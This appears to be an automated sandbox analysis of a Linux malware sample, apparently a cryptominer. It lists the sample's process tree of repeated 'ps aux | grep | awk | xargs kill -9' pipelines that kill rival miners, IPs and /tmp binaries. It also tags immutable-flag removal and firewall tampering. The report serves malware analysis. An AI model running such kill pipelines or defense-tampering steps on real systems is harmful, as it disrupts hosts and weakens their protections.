/bin/grepgrep darwin2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/dl2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep /tmp/ddg2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/pprt2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/ppol2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/jmx*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep 45.76.122.922⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.38.191.1782⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 51.15.56.1612⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep C4iLM4L2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /boot/vmlinuz2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep i4b503a52cc52⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep nqscheduler2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep rsync2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/bin/grepgrep watchd0g2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep gitee.com2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/java2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 104.248.4.1622⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep 89.35.39.782⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kthrotlds2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep ksoftirqds2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep netdns2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep watchdogs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kdevtmpfsi2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep kinsing2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep redis22⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep " ps"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep sync_supers2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/cutcut -c 9-152⤵
-
-
/bin/grepgrep cpuset2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "x]"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "sh] <"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/bin/grepgrep " \\[]"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v aux2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/l.sh2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/zmcat2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep hahwNEdB2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CnzFVPLF2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep CvKzzZLs2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep /tmp/udevd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sustse2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Replay Monitor
Loading Replay Monitor...
Downloads
.log_713.gz
idle
javab
ksmd
sedvZk815
ip6network
irqbalanced
kswaped
pamdicks
rctlcli
systemd-network
tmp.2SFkHF
tmp.MxX9Tg